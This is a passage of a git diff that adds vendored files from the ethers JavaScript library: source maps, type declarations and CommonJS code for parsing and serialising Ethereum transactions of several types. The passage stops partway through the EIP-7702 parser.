+{"version":3,"file":"index.d.ts","sourceRoot":"","sources":["../../src.ts/transaction/index.ts"],"names":[],"mappings":"AAAA;;;;GAIG;AAIH,OAAO,KAAK,EAAE,YAAY,EAAE,MAAM,mBAAmB,CAAC;AACtD,OAAO,KAAK,EAAE,SAAS,EAAE,aAAa,EAAE,MAAM,oBAAoB,CAAC;AAEnE;;GAEG;AACH,MAAM,MAAM,eAAe,GAAG;IAAE,OAAO,EAAE,MAAM,CAAC;IAAC,WAAW,EAAE,KAAK,CAAC,MAAM,CAAC,CAAA;CAAE,CAAC;AAE9E;;GAEG;AACH,MAAM,MAAM,UAAU,GAAG,KAAK,CAAC,eAAe,CAAC,CAAC;AAEhD;;GAEG;AACH,MAAM,MAAM,aAAa,GAAG,UAAU,GACV,KAAK,CAAC,CAAE,MAAM,EAAE,KAAK,CAAC,MAAM,CAAC,CAAE,CAAC,GAChC,MAAM,CAAC,MAAM,EAAE,KAAK,CAAC,MAAM,CAAC,CAAC,CAAC;AAG1D,MAAM,WAAW,aAAa;IAC1B,OAAO,EAAE,MAAM,CAAC;IAChB,KAAK,EAAE,MAAM,CAAC;IACd,OAAO,EAAE,MAAM,CAAC;IAChB,SAAS,EAAE,SAAS,CAAC;CACxB;AAED,MAAM,MAAM,iBAAiB,GAAG;IAC5B,OAAO,EAAE,MAAM,CAAC;IAChB,KAAK,EAAE,YAAY,CAAC;IACpB,OAAO,EAAE,YAAY,CAAC;IACtB,SAAS,EAAE,aAAa,CAAA;CAC3B,CAAC;AAEF,OAAO,EAAE,aAAa,EAAE,MAAM,iBAAiB,CAAC;AAChD,OAAO,EAAE,gBAAgB,EAAE,MAAM,oBAAoB,CAAC;AACtD,OAAO,EAAE,cAAc,EAAE,cAAc,EAAE,MAAM,cAAc,CAAC;AAC9D,OAAO,EAAE,WAAW,EAAE,MAAM,kBAAkB,CAAC;AAE/C,YAAY,EACR,IAAI,EAAE,QAAQ,EAAE,UAAU,EAAE,cAAc,EAAE,eAAe,EAC9D,MAAM,kBAAkB,CAAC"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/index.js b/node_modules/ethers/lib.commonjs/transaction/index.js new file mode 100644 index 000000000000..73e242441d64 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/index.js @@ -0,0 +1,19 @@ +"use strict"; +/** + * Each state-changing operation on Ethereum requires a transaction. + * + * @_section api/transaction:Transactions [about-transactions] + */ +Object.defineProperty(exports, "__esModule", { value: true }); +exports.Transaction = exports.recoverAddress = exports.computeAddress = exports.authorizationify = exports.accessListify = void 0; +null; +var accesslist_js_1 = require("./accesslist.js"); +Object.defineProperty(exports, "accessListify", { enumerable: true, get: function () { return accesslist_js_1.accessListify; } }); +var authorization_js_1 = require("./authorization.js"); +Object.defineProperty(exports, "authorizationify", { enumerable: true, get: function () { return authorization_js_1.authorizationify; } }); +var address_js_1 = require("./address.js"); +Object.defineProperty(exports, "computeAddress", { enumerable: true, get: function () { return address_js_1.computeAddress; } }); +Object.defineProperty(exports, "recoverAddress", { enumerable: true, get: function () { return address_js_1.recoverAddress; } }); +var transaction_js_1 = require("./transaction.js"); +Object.defineProperty(exports, "Transaction", { enumerable: true, get: function () { return transaction_js_1.Transaction; } }); +//# sourceMappingURL=index.js.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/index.js.map b/node_modules/ethers/lib.commonjs/transaction/index.js.map new file mode 100644 index 000000000000..0730488864e3 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/index.js.map @@ -0,0 +1 @@ +{"version":3,"file":"index.js","sourceRoot":"","sources":["../../src.ts/transaction/index.ts"],"names":[],"mappings":";AAAA;;;;GAIG;;;AAEH,IAAI,CAAC;AAqCL,iDAAgD;AAAvC,8GAAA,aAAa,OAAA;AACtB,uDAAsD;AAA7C,oHAAA,gBAAgB,OAAA;AACzB,2CAA8D;AAArD,4GAAA,cAAc,OAAA;AAAE,4GAAA,cAAc,OAAA;AACvC,mDAA+C;AAAtC,6GAAA,WAAW,OAAA"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/transaction.d.ts b/node_modules/ethers/lib.commonjs/transaction/transaction.d.ts new file mode 100644 index 000000000000..654feace1dff --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/transaction.d.ts @@ -0,0 +1,400 @@ +import { Signature } from "../crypto/index.js"; +import type { BigNumberish, BytesLike } from "../utils/index.js"; +import type { SignatureLike } from "../crypto/index.js"; +import type { AccessList, AccessListish, Authorization, AuthorizationLike } from "./index.js"; +/** + * A **TransactionLike** is an object which is appropriate as a loose + * input for many operations which will populate missing properties of + * a transaction. + */ +export interface TransactionLike { + /** + * The type. + */ + type?: null | number; + /** + * The recipient address or ``null`` for an ``init`` transaction. + */ + to?: null | A; + /** + * The sender. + */ + from?: null | A; + /** + * The nonce. + */ + nonce?: null | number; + /** + * The maximum amount of gas that can be used. + */ + gasLimit?: null | BigNumberish; + /** + * The gas price for legacy and berlin transactions. + */ + gasPrice?: null | BigNumberish; + /** + * The maximum priority fee per gas for london transactions. + */ + maxPriorityFeePerGas?: null | BigNumberish; + /** + * The maximum total fee per gas for london transactions. + */ + maxFeePerGas?: null | BigNumberish; + /** + * The data. + */ + data?: null | string; + /** + * The value (in wei) to send. + */ + value?: null | BigNumberish; + /** + * The chain ID the transaction is valid on. + */ + chainId?: null | BigNumberish; + /** + * The transaction hash. + */ + hash?: null | string; + /** + * The signature provided by the sender. + */ + signature?: null | SignatureLike; + /** + * The access list for berlin and london transactions. + */ + accessList?: null | AccessListish; + /** + * The maximum fee per blob gas (see [[link-eip-4844]]). + */ + maxFeePerBlobGas?: null | BigNumberish; + /** + * The versioned hashes (see [[link-eip-4844]]). + */ + blobVersionedHashes?: null | Array; + /** + * The blobs (if any) attached to this transaction (see [[link-eip-4844]]). + */ + blobs?: null | Array; + /** + * An external library for computing the KZG commitments and + * proofs necessary for EIP-4844 transactions (see [[link-eip-4844]]). + * + * This is generally ``null``, unless you are creating BLOb + * transactions. + */ + kzg?: null | KzgLibraryLike; + /** + * The [[link-eip-7702]] authorizations (if any). + */ + authorizationList?: null | Array; +} +/** + * A full-valid BLOb object for [[link-eip-4844]] transactions. + * + * The commitment and proof should have been computed using a + * KZG library. + */ +export interface Blob { + data: string; + proof: string; + commitment: string; +} +/** + * A BLOb object that can be passed for [[link-eip-4844]] + * transactions. + * + * It may have had its commitment and proof already provided + * or rely on an attached [[KzgLibrary]] to compute them. + */ +export type BlobLike = BytesLike | { + data: BytesLike; + proof: BytesLike; + commitment: BytesLike; +}; +/** + * A KZG Library with the necessary functions to compute + * BLOb commitments and proofs. + */ +export interface KzgLibrary { + blobToKzgCommitment: (blob: Uint8Array) => Uint8Array; + computeBlobKzgProof: (blob: Uint8Array, commitment: Uint8Array) => Uint8Array; +} +/** + * A KZG Library with any of the various API configurations. + * As the library is still experimental and the API is not + * stable, depending on the version used the method names and + * signatures are still in flux. + * + * This allows any of the versions to be passed into Transaction + * while providing a stable external API. + */ +export type KzgLibraryLike = KzgLibrary | { + blobToKZGCommitment: (blob: string) => string; + computeBlobKZGProof: (blob: string, commitment: string) => string; +} | { + blobToKzgCommitment: (blob: string) => string | Uint8Array; + computeBlobProof: (blob: string, commitment: string) => string | Uint8Array; +}; +/** + * A **Transaction** describes an operation to be executed on + * Ethereum by an Externally Owned Account (EOA). It includes + * who (the [[to]] address), what (the [[data]]) and how much (the + * [[value]] in ether) the operation should entail. + * + * @example: + * tx = new Transaction() + * //_result: + * + * tx.data = "0x1234"; + * //_result: + */ +export declare class Transaction implements TransactionLike { + #private; + /** + * The transaction type. + * + * If null, the type will be automatically inferred based on + * explicit properties. + */ + get type(): null | number; + set type(value: null | number | string); + /** + * The name of the transaction type. + */ + get typeName(): null | string; + /** + * The ``to`` address for the transaction or ``null`` if the + * transaction is an ``init`` transaction. + */ + get to(): null | string; + set to(value: null | string); + /** + * The transaction nonce. + */ + get nonce(): number; + set nonce(value: BigNumberish); + /** + * The gas limit. + */ + get gasLimit(): bigint; + set gasLimit(value: BigNumberish); + /** + * The gas price. + * + * On legacy networks this defines the fee that will be paid. On + * EIP-1559 networks, this should be ``null``. + */ + get gasPrice(): null | bigint; + set gasPrice(value: null | BigNumberish); + /** + * The maximum priority fee per unit of gas to pay. On legacy + * networks this should be ``null``. + */ + get maxPriorityFeePerGas(): null | bigint; + set maxPriorityFeePerGas(value: null | BigNumberish); + /** + * The maximum total fee per unit of gas to pay. On legacy + * networks this should be ``null``. + */ + get maxFeePerGas(): null | bigint; + set maxFeePerGas(value: null | BigNumberish); + /** + * The transaction data. For ``init`` transactions this is the + * deployment code. + */ + get data(): string; + set data(value: BytesLike); + /** + * The amount of ether (in wei) to send in this transactions. + */ + get value(): bigint; + set value(value: BigNumberish); + /** + * The chain ID this transaction is valid on. + */ + get chainId(): bigint; + set chainId(value: BigNumberish); + /** + * If signed, the signature for this transaction. + */ + get signature(): null | Signature; + set signature(value: null | SignatureLike); + /** + * The access list. + * + * An access list permits discounted (but pre-paid) access to + * bytecode and state variable access within contract execution. + */ + get accessList(): null | AccessList; + set accessList(value: null | AccessListish); + get authorizationList(): null | Array; + set authorizationList(auths: null | Array); + /** + * The max fee per blob gas for Cancun transactions. + */ + get maxFeePerBlobGas(): null | bigint; + set maxFeePerBlobGas(value: null | BigNumberish); + /** + * The BLOb versioned hashes for Cancun transactions. + */ + get blobVersionedHashes(): null | Array; + set blobVersionedHashes(value: null | Array); + /** + * The BLObs for the Transaction, if any. + * + * If ``blobs`` is non-``null``, then the [[seriailized]] + * will return the network formatted sidecar, otherwise it + * will return the standard [[link-eip-2718]] payload. The + * [[unsignedSerialized]] is unaffected regardless. + * + * When setting ``blobs``, either fully valid [[Blob]] objects + * may be specified (i.e. correctly padded, with correct + * committments and proofs) or a raw [[BytesLike]] may + * be provided. + * + * If raw [[BytesLike]] are provided, the [[kzg]] property **must** + * be already set. The blob will be correctly padded and the + * [[KzgLibrary]] will be used to compute the committment and + * proof for the blob. + * + * A BLOb is a sequence of field elements, each of which must + * be within the BLS field modulo, so some additional processing + * may be required to encode arbitrary data to ensure each 32 byte + * field is within the valid range. + * + * Setting this automatically populates [[blobVersionedHashes]], + * overwriting any existing values. Setting this to ``null`` + * does **not** remove the [[blobVersionedHashes]], leaving them + * present. + */ + get blobs(): null | Array; + set blobs(_blobs: null | Array); + get kzg(): null | KzgLibrary; + set kzg(kzg: null | KzgLibraryLike); + /** + * Creates a new Transaction with default values. + */ + constructor(); + /** + * The transaction hash, if signed. Otherwise, ``null``. + */ + get hash(): null | string; + /** + * The pre-image hash of this transaction. + * + * This is the digest that a [[Signer]] must sign to authorize + * this transaction. + */ + get unsignedHash(): string; + /** + * The sending address, if signed. Otherwise, ``null``. + */ + get from(): null | string; + /** + * The public key of the sender, if signed. Otherwise, ``null``. + */ + get fromPublicKey(): null | string; + /** + * Returns true if signed. + * + * This provides a Type Guard that properties requiring a signed + * transaction are non-null. + */ + isSigned(): this is (Transaction & { + type: number; + typeName: string; + from: string; + signature: Signature; + }); + /** + * The serialized transaction. + * + * This throws if the transaction is unsigned. For the pre-image, + * use [[unsignedSerialized]]. + */ + get serialized(): string; + /** + * The transaction pre-image. + * + * The hash of this is the digest which needs to be signed to + * authorize this transaction. + */ + get unsignedSerialized(): string; + /** + * Return the most "likely" type; currently the highest + * supported transaction type. + */ + inferType(): number; + /** + * Validates the explicit properties and returns a list of compatible + * transaction types. + */ + inferTypes(): Array; + /** + * Returns true if this transaction is a legacy transaction (i.e. + * ``type === 0``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isLegacy(): this is (Transaction & { + type: 0; + gasPrice: bigint; + }); + /** + * Returns true if this transaction is berlin hardform transaction (i.e. + * ``type === 1``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isBerlin(): this is (Transaction & { + type: 1; + gasPrice: bigint; + accessList: AccessList; + }); + /** + * Returns true if this transaction is london hardform transaction (i.e. + * ``type === 2``). + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isLondon(): this is (Transaction & { + type: 2; + accessList: AccessList; + maxFeePerGas: bigint; + maxPriorityFeePerGas: bigint; + }); + /** + * Returns true if this transaction is an [[link-eip-4844]] BLOB + * transaction. + * + * This provides a Type Guard that the related properties are + * non-null. + */ + isCancun(): this is (Transaction & { + type: 3; + to: string; + accessList: AccessList; + maxFeePerGas: bigint; + maxPriorityFeePerGas: bigint; + maxFeePerBlobGas: bigint; + blobVersionedHashes: Array; + }); + /** + * Create a copy of this transaciton. + */ + clone(): Transaction; + /** + * Return a JSON-friendly object. + */ + toJSON(): any; + /** + * Create a **Transaction** from a serialized transaction or a + * Transaction-like object. + */ + static from(tx?: string | TransactionLike): Transaction; +} +//# sourceMappingURL=transaction.d.ts.map \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/transaction.d.ts.map b/node_modules/ethers/lib.commonjs/transaction/transaction.d.ts.map new file mode 100644 index 000000000000..e59ac6bef8f7 --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/trans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Y,EAAE,MAAM,CAAC;QAAC,oBAAoB,EAAE,MAAM,CAAC;QAAC,gBAAgB,EAAE,MAAM,CAAC;QAAC,mBAAmB,EAAE,KAAK,CAAC,MAAM,CAAC,CAAA;KAAE,CAAC;IAIrM;;OAEG;IACH,KAAK,IAAI,WAAW;IAIpB;;OAEG;IACH,MAAM,IAAI,GAAG;IAuBb;;;OAGG;IACH,MAAM,CAAC,IAAI,CAAC,EAAE,CAAC,EAAE,MAAM,GAAG,eAAe,CAAC,MAAM,CAAC,GAAG,WAAW;CAyDlE"} \ No newline at end of file diff --git a/node_modules/ethers/lib.commonjs/transaction/transaction.js b/node_modules/ethers/lib.commonjs/transaction/transaction.js new file mode 100644 index 000000000000..d9ee3eebd8ad --- /dev/null +++ b/node_modules/ethers/lib.commonjs/transaction/transaction.js @@ -0,0 +1,1148 @@ +"use strict"; +Object.defineProperty(exports, "__esModule", { value: true }); +exports.Transaction = void 0; +const index_js_1 = require("../address/index.js"); +const addresses_js_1 = require("../constants/addresses.js"); +const index_js_2 = require("../crypto/index.js"); +const index_js_3 = require("../utils/index.js"); +const accesslist_js_1 = require("./accesslist.js"); +const authorization_js_1 = require("./authorization.js"); +const address_js_1 = require("./address.js"); +const BN_0 = BigInt(0); +const BN_2 = BigInt(2); +const BN_27 = BigInt(27); +const BN_28 = BigInt(28); +const BN_35 = BigInt(35); +const BN_MAX_UINT = BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); +const BLOB_SIZE = 4096 * 32; +function getKzgLibrary(kzg) { + const blobToKzgCommitment = (blob) => { + if ("computeBlobProof" in kzg) { + // micro-ecc-signer; check for computeBlobProof since this API + // expects a string while the kzg-wasm below expects a Unit8Array + if ("blobToKzgCommitment" in kzg && typeof (kzg.blobToKzgCommitment) === "function") { + return (0, index_js_3.getBytes)(kzg.blobToKzgCommitment((0, index_js_3.hexlify)(blob))); + } + } + else if ("blobToKzgCommitment" in kzg && typeof (kzg.blobToKzgCommitment) === "function") { + // kzg-wasm <0.5.0; blobToKzgCommitment(Uint8Array) => Uint8Array + return (0, index_js_3.getBytes)(kzg.blobToKzgCommitment(blob)); + } + // kzg-wasm >= 0.5.0; blobToKZGCommitment(string) => string + if ("blobToKZGCommitment" in kzg && typeof (kzg.blobToKZGCommitment) === "function") { + return (0, index_js_3.getBytes)(kzg.blobToKZGCommitment((0, index_js_3.hexlify)(blob))); + } + (0, index_js_3.assertArgument)(false, "unsupported KZG library", "kzg", kzg); + }; + const computeBlobKzgProof = (blob, commitment) => { + // micro-ecc-signer + if ("computeBlobProof" in kzg && typeof (kzg.computeBlobProof) === "function") { + return (0, index_js_3.getBytes)(kzg.computeBlobProof((0, index_js_3.hexlify)(blob), (0, index_js_3.hexlify)(commitment))); + } + // kzg-wasm <0.5.0; computeBlobKzgProof(Uint8Array, Uint8Array) => Uint8Array + if ("computeBlobKzgProof" in kzg && typeof (kzg.computeBlobKzgProof) === "function") { + return kzg.computeBlobKzgProof(blob, commitment); + } + // kzg-wasm >= 0.5.0; computeBlobKZGProof(string, string) => string + if ("computeBlobKZGProof" in kzg && typeof (kzg.computeBlobKZGProof) === "function") { + return (0, index_js_3.getBytes)(kzg.computeBlobKZGProof((0, index_js_3.hexlify)(blob), (0, index_js_3.hexlify)(commitment))); + } + (0, index_js_3.assertArgument)(false, "unsupported KZG library", "kzg", kzg); + }; + return { blobToKzgCommitment, computeBlobKzgProof }; +} +function getVersionedHash(version, hash) { + let versioned = version.toString(16); + while (versioned.length < 2) { + versioned = "0" + versioned; + } + versioned += (0, index_js_2.sha256)(hash).substring(4); + return "0x" + versioned; +} +function handleAddress(value) { + if (value === "0x") { + return null; + } + return (0, index_js_1.getAddress)(value); +} +function handleAccessList(value, param) { + try { + return (0, accesslist_js_1.accessListify)(value); + } + catch (error) { + (0, index_js_3.assertArgument)(false, error.message, param, value); + } +} +function handleAuthorizationList(value, param) { + try { + if (!Array.isArray(value)) { + throw new Error("authorizationList: invalid array"); + } + const result = []; + for (let i = 0; i < value.length; i++) { + const auth = value[i]; + if (!Array.isArray(auth)) { + throw new Error(`authorization[${i}]: invalid array`); + } + if (auth.length !== 6) { + throw new Error(`authorization[${i}]: wrong length`); + } + if (!auth[1]) { + throw new Error(`authorization[${i}]: null address`); + } + result.push({ + address: handleAddress(auth[1]), + nonce: handleUint(auth[2], "nonce"), + chainId: handleUint(auth[0], "chainId"), + signature: index_js_2.Signature.from({ + yParity: handleNumber(auth[3], "yParity"), + r: (0, index_js_3.zeroPadValue)(auth[4], 32), + s: (0, index_js_3.zeroPadValue)(auth[5], 32) + }) + }); + } + return result; + } + catch (error) { + (0, index_js_3.assertArgument)(false, error.message, param, value); + } +} +function handleNumber(_value, param) { + if (_value === "0x") { + return 0; + } + return (0, index_js_3.getNumber)(_value, param); +} +function handleUint(_value, param) { + if (_value === "0x") { + return BN_0; + } + const value = (0, index_js_3.getBigInt)(_value, param); + (0, index_js_3.assertArgument)(value <= BN_MAX_UINT, "value exceeds uint size", param, value); + return value; +} +function formatNumber(_value, name) { + const value = (0, index_js_3.getBigInt)(_value, "value"); + const result = (0, index_js_3.toBeArray)(value); + (0, index_js_3.assertArgument)(result.length <= 32, `value too large`, `tx.${name}`, value); + return result; +} +function formatAccessList(value) { + return (0, accesslist_js_1.accessListify)(value).map((set) => [set.address, set.storageKeys]); +} +function formatAuthorizationList(value) { + return value.map((a) => { + return [ + formatNumber(a.chainId, "chainId"), + a.address, + formatNumber(a.nonce, "nonce"), + formatNumber(a.signature.yParity, "yParity"), + (0, index_js_3.toBeArray)(a.signature.r), + (0, index_js_3.toBeArray)(a.signature.s) + ]; + }); +} +function formatHashes(value, param) { + (0, index_js_3.assertArgument)(Array.isArray(value), `invalid ${param}`, "value", value); + for (let i = 0; i < value.length; i++) { + (0, index_js_3.assertArgument)((0, index_js_3.isHexString)(value[i], 32), "invalid ${ param } hash", `value[${i}]`, value[i]); + } + return value; +} +function _parseLegacy(data) { + const fields = (0, index_js_3.decodeRlp)(data); + (0, index_js_3.assertArgument)(Array.isArray(fields) && (fields.length === 9 || fields.length === 6), "invalid field count for legacy transaction", "data", data); + const tx = { + type: 0, + nonce: handleNumber(fields[0], "nonce"), + gasPrice: handleUint(fields[1], "gasPrice"), + gasLimit: handleUint(fields[2], "gasLimit"), + to: handleAddress(fields[3]), + value: handleUint(fields[4], "value"), + data: (0, index_js_3.hexlify)(fields[5]), + chainId: BN_0 + }; + // Legacy unsigned transaction + if (fields.length === 6) { + return tx; + } + const v = handleUint(fields[6], "v"); + const r = handleUint(fields[7], "r"); + const s = handleUint(fields[8], "s"); + if (r === BN_0 && s === BN_0) { + // EIP-155 unsigned transaction + tx.chainId = v; + } + else { + // Compute the EIP-155 chain ID (or 0 for legacy) + let chainId = (v - BN_35) / BN_2; + if (chainId < BN_0) { + chainId = BN_0; + } + tx.chainId = chainId; + // Signed Legacy Transaction + (0, index_js_3.assertArgument)(chainId !== BN_0 || (v === BN_27 || v === BN_28), "non-canonical legacy v", "v", fields[6]); + tx.signature = index_js_2.Signature.from({ + r: (0, index_js_3.zeroPadValue)(fields[7], 32), + s: (0, index_js_3.zeroPadValue)(fields[8], 32), + v + }); + //tx.hash = keccak256(data); + } + return tx; +} +function _serializeLegacy(tx, sig) { + const fields = [ + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.gasPrice || 0, "gasPrice"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + ]; + let chainId = BN_0; + if (tx.chainId != BN_0) { + // A chainId was provided; if non-zero we'll use EIP-155 + chainId = (0, index_js_3.getBigInt)(tx.chainId, "tx.chainId"); + // We have a chainId in the tx and an EIP-155 v in the signature, + // make sure they agree with each other + (0, index_js_3.assertArgument)(!sig || sig.networkV == null || sig.legacyChainId === chainId, "tx.chainId/sig.v mismatch", "sig", sig); + } + else if (tx.signature) { + // No explicit chainId, but EIP-155 have a derived implicit chainId + const legacy = tx.signature.legacyChainId; + if (legacy != null) { + chainId = legacy; + } + } + // Requesting an unsigned transaction + if (!sig) { + // We have an EIP-155 transaction (chainId was specified and non-zero) + if (chainId !== BN_0) { + fields.push((0, index_js_3.toBeArray)(chainId)); + fields.push("0x"); + fields.push("0x"); + } + return (0, index_js_3.encodeRlp)(fields); + } + // @TODO: We should probably check that tx.signature, chainId, and sig + // match but that logic could break existing code, so schedule + // this for the next major bump. + // Compute the EIP-155 v + let v = BigInt(27 + sig.yParity); + if (chainId !== BN_0) { + v = index_js_2.Signature.getChainIdV(chainId, sig.v); + } + else if (BigInt(sig.v) !== v) { + (0, index_js_3.assertArgument)(false, "tx.chainId/sig.v mismatch", "sig", sig); + } + // Add the signature + fields.push((0, index_js_3.toBeArray)(v)); + fields.push((0, index_js_3.toBeArray)(sig.r)); + fields.push((0, index_js_3.toBeArray)(sig.s)); + return (0, index_js_3.encodeRlp)(fields); +} +function _parseEipSignature(tx, fields) { + let yParity; + try { + yParity = handleNumber(fields[0], "yParity"); + if (yParity !== 0 && yParity !== 1) { + throw new Error("bad yParity"); + } + } + catch (error) { + (0, index_js_3.assertArgument)(false, "invalid yParity", "yParity", fields[0]); + } + const r = (0, index_js_3.zeroPadValue)(fields[1], 32); + const s = (0, index_js_3.zeroPadValue)(fields[2], 32); + const signature = index_js_2.Signature.from({ r, s, yParity }); + tx.signature = signature; +} +function _parseEip1559(data) { + const fields = (0, index_js_3.decodeRlp)((0, index_js_3.getBytes)(data).slice(1)); + (0, index_js_3.assertArgument)(Array.isArray(fields) && (fields.length === 9 || fields.length === 12), "invalid field count for transaction type: 2", "data", (0, index_js_3.hexlify)(data)); + const tx = { + type: 2, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + maxPriorityFeePerGas: handleUint(fields[2], "maxPriorityFeePerGas"), + maxFeePerGas: handleUint(fields[3], "maxFeePerGas"), + gasPrice: null, + gasLimit: handleUint(fields[4], "gasLimit"), + to: handleAddress(fields[5]), + value: handleUint(fields[6], "value"), + data: (0, index_js_3.hexlify)(fields[7]), + accessList: handleAccessList(fields[8], "accessList"), + }; + // Unsigned EIP-1559 Transaction + if (fields.length === 9) { + return tx; + } + //tx.hash = keccak256(data); + _parseEipSignature(tx, fields.slice(9)); + return tx; +} +function _serializeEip1559(tx, sig) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), + formatNumber(tx.maxFeePerGas || 0, "maxFeePerGas"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []) + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "yParity")); + fields.push((0, index_js_3.toBeArray)(sig.r)); + fields.push((0, index_js_3.toBeArray)(sig.s)); + } + return (0, index_js_3.concat)(["0x02", (0, index_js_3.encodeRlp)(fields)]); +} +function _parseEip2930(data) { + const fields = (0, index_js_3.decodeRlp)((0, index_js_3.getBytes)(data).slice(1)); + (0, index_js_3.assertArgument)(Array.isArray(fields) && (fields.length === 8 || fields.length === 11), "invalid field count for transaction type: 1", "data", (0, index_js_3.hexlify)(data)); + const tx = { + type: 1, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + gasPrice: handleUint(fields[2], "gasPrice"), + gasLimit: handleUint(fields[3], "gasLimit"), + to: handleAddress(fields[4]), + value: handleUint(fields[5], "value"), + data: (0, index_js_3.hexlify)(fields[6]), + accessList: handleAccessList(fields[7], "accessList") + }; + // Unsigned EIP-2930 Transaction + if (fields.length === 8) { + return tx; + } + //tx.hash = keccak256(data); + _parseEipSignature(tx, fields.slice(8)); + return tx; +} +function _serializeEip2930(tx, sig) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.gasPrice || 0, "gasPrice"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || "0x"), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []) + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "recoveryParam")); + fields.push((0, index_js_3.toBeArray)(sig.r)); + fields.push((0, index_js_3.toBeArray)(sig.s)); + } + return (0, index_js_3.concat)(["0x01", (0, index_js_3.encodeRlp)(fields)]); +} +function _parseEip4844(data) { + let fields = (0, index_js_3.decodeRlp)((0, index_js_3.getBytes)(data).slice(1)); + let typeName = "3"; + let blobs = null; + // Parse the network format + if (fields.length === 4 && Array.isArray(fields[0])) { + typeName = "3 (network format)"; + const fBlobs = fields[1], fCommits = fields[2], fProofs = fields[3]; + (0, index_js_3.assertArgument)(Array.isArray(fBlobs), "invalid network format: blobs not an array", "fields[1]", fBlobs); + (0, index_js_3.assertArgument)(Array.isArray(fCommits), "invalid network format: commitments not an array", "fields[2]", fCommits); + (0, index_js_3.assertArgument)(Array.isArray(fProofs), "invalid network format: proofs not an array", "fields[3]", fProofs); + (0, index_js_3.assertArgument)(fBlobs.length === fCommits.length, "invalid network format: blobs/commitments length mismatch", "fields", fields); + (0, index_js_3.assertArgument)(fBlobs.length === fProofs.length, "invalid network format: blobs/proofs length mismatch", "fields", fields); + blobs = []; + for (let i = 0; i < fields[1].length; i++) { + blobs.push({ + data: fBlobs[i], + commitment: fCommits[i], + proof: fProofs[i], + }); + } + fields = fields[0]; + } + (0, index_js_3.assertArgument)(Array.isArray(fields) && (fields.length === 11 || fields.length === 14), `invalid field count for transaction type: ${typeName}`, "data", (0, index_js_3.hexlify)(data)); + const tx = { + type: 3, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + maxPriorityFeePerGas: handleUint(fields[2], "maxPriorityFeePerGas"), + maxFeePerGas: handleUint(fields[3], "maxFeePerGas"), + gasPrice: null, + gasLimit: handleUint(fields[4], "gasLimit"), + to: handleAddress(fields[5]), + value: handleUint(fields[6], "value"), + data: (0, index_js_3.hexlify)(fields[7]), + accessList: handleAccessList(fields[8], "accessList"), + maxFeePerBlobGas: handleUint(fields[9], "maxFeePerBlobGas"), + blobVersionedHashes: fields[10] + }; + if (blobs) { + tx.blobs = blobs; + } + (0, index_js_3.assertArgument)(tx.to != null, `invalid address for transaction type: ${typeName}`, "data", data); + (0, index_js_3.assertArgument)(Array.isArray(tx.blobVersionedHashes), "invalid blobVersionedHashes: must be an array", "data", data); + for (let i = 0; i < tx.blobVersionedHashes.length; i++) { + (0, index_js_3.assertArgument)((0, index_js_3.isHexString)(tx.blobVersionedHashes[i], 32), `invalid blobVersionedHash at index ${i}: must be length 32`, "data", data); + } + // Unsigned EIP-4844 Transaction + if (fields.length === 11) { + return tx; + } + // @TODO: Do we need to do this? This is only called internally + // and used to verify hashes; it might save time to not do this + //tx.hash = keccak256(concat([ "0x03", encodeRlp(fields) ])); + _parseEipSignature(tx, fields.slice(11)); + return tx; +} +function _serializeEip4844(tx, sig, blobs) { + const fields = [ + formatNumber(tx.chainId, "chainId"), + formatNumber(tx.nonce, "nonce"), + formatNumber(tx.maxPriorityFeePerGas || 0, "maxPriorityFeePerGas"), + formatNumber(tx.maxFeePerGas || 0, "maxFeePerGas"), + formatNumber(tx.gasLimit, "gasLimit"), + (tx.to || addresses_js_1.ZeroAddress), + formatNumber(tx.value, "value"), + tx.data, + formatAccessList(tx.accessList || []), + formatNumber(tx.maxFeePerBlobGas || 0, "maxFeePerBlobGas"), + formatHashes(tx.blobVersionedHashes || [], "blobVersionedHashes") + ]; + if (sig) { + fields.push(formatNumber(sig.yParity, "yParity")); + fields.push((0, index_js_3.toBeArray)(sig.r)); + fields.push((0, index_js_3.toBeArray)(sig.s)); + // We have blobs; return the network wrapped format + if (blobs) { + return (0, index_js_3.concat)([ + "0x03", + (0, index_js_3.encodeRlp)([ + fields, + blobs.map((b) => b.data), + blobs.map((b) => b.commitment), + blobs.map((b) => b.proof), + ]) + ]); + } + } + return (0, index_js_3.concat)(["0x03", (0, index_js_3.encodeRlp)(fields)]); +} +function _parseEip7702(data) { + const fields = (0, index_js_3.decodeRlp)((0, index_js_3.getBytes)(data).slice(1)); + (0, index_js_3.assertArgument)(Array.isArray(fields) && (fields.length === 10 || fields.length === 13), "invalid field count for transaction type: 4", "data", (0, index_js_3.hexlify)(data)); + const tx = { + type: 4, + chainId: handleUint(fields[0], "chainId"), + nonce: handleNumber(fields[1], "nonce"), + maxPriorityFeePerGas: handleUint(fields[2], "maxPriorityFeePerGas"), + maxFeePerGas: handleUint(fields[3], 